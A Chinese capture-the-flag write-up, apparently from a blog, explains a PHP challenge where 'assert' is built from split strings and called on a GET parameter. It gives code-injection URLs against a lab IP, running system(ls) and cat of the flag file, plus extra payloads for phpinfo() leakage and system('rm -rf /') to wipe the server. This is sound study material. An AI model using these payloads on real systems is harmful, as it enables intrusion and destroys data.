CTF--shell

一、原题

(1)提示:

poc="a#s#s#e#r#t";poc_1=explode("#",poc);poc_2=poc_1\[0\].poc_1[1].poc_1\[2\].poc_1[3].poc_1\[4\].poc_1[5]; poc_2(_GET['s'])

(2)原网页:一片空白什么都没有


二、步骤

1.提示:

php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

2.提示分析:

php 复制代码
$poc="a#s#s#e#r#t";
// 定义一个字符串 $poc,内容为 "a#s#s#e#r#t"

$poc_1=explode("#",$poc);
// 使用 explode 函数将字符串 $poc 按照 "#" 分割成数组
// 结果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']
                         
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
// 将数组 $poc_1 中的元素通过字符串拼接操作符 "." 连接成一个字符串
// 结果是 $poc_2 = "assert"

$poc_2($_GET['s']);
// 动态调用函数 $poc_2,并传入用户输入的参数 $_GET['s']
// 由于 $poc_2 的值是 "assert",这一行代码等价于:assert($_GET['s']);

3.利用代码注入漏洞,构造新的URL:

117.72.52.127:15439?s=system(ls)

或者:

117.72.52.127:15439?s=system(dir)

4.输入:

117.72.52.127L15439?s=system(''cat flaga15808abee46a1d5.txt')

获得flag:

三、补充

1.其他代码注入漏洞:

http://117.72.52.127:15640?s=phpinfo()

执行phpinfo(),泄露服务器PHP配置信息

http://117.72.52.127:15640?s=system('rm -rf /')

执行rm -rf,删除服务器上的所有文件(假如有权限)

2.参数值分析:

system('ls')

system:PHP 的一个内置函数,用于在服务器上执行操作系统命令,并将输出直接返回给调用者

ls:Linux 系统中的一个命令,用于列出当前目录下的文件和文件夹

四、RCE:

RCE(远程代码执行漏洞)原理及漏洞利用-CSDN博客

相关推荐
ftpeak4 天前
从零开始使用 axum-server 构建 HTTP/HTTPS 服务
网络·http·https·rust·web·web app
fanged4 天前
Cesium4--地形(OSGB到3DTiles)
3d·gis·web
三角叶蕨5 天前
javaweb CSS
css·web
OEC小胖胖5 天前
App Router vs. Pages Router:我应该如何选择?
开发语言·前端·前端框架·web·next.js
脑子慢且灵6 天前
[JavaWeb]模拟一个简易的Tomcat服务(Servlet注解)
java·后端·servlet·tomcat·intellij-idea·web
虚伪的空想家8 天前
K8S的dashboard部署与访问
云原生·容器·kubernetes·k8s·web·dashboard
脑子慢且灵8 天前
【JavaWeb】一个简单的Web浏览服务程序
java·前端·后端·servlet·tomcat·web·javaee
诗人不说梦^8 天前
[RootersCTF2019]I_<3_Flask
web·ctf
OEC小胖胖10 天前
Next.js数据获取入门:`getStaticProps` 与 `getServerSideProps`
前端·前端框架·web·next.js
借你耳朵说爱你11 天前
浅拷贝和深拷贝两种不同的对象复制
vue·web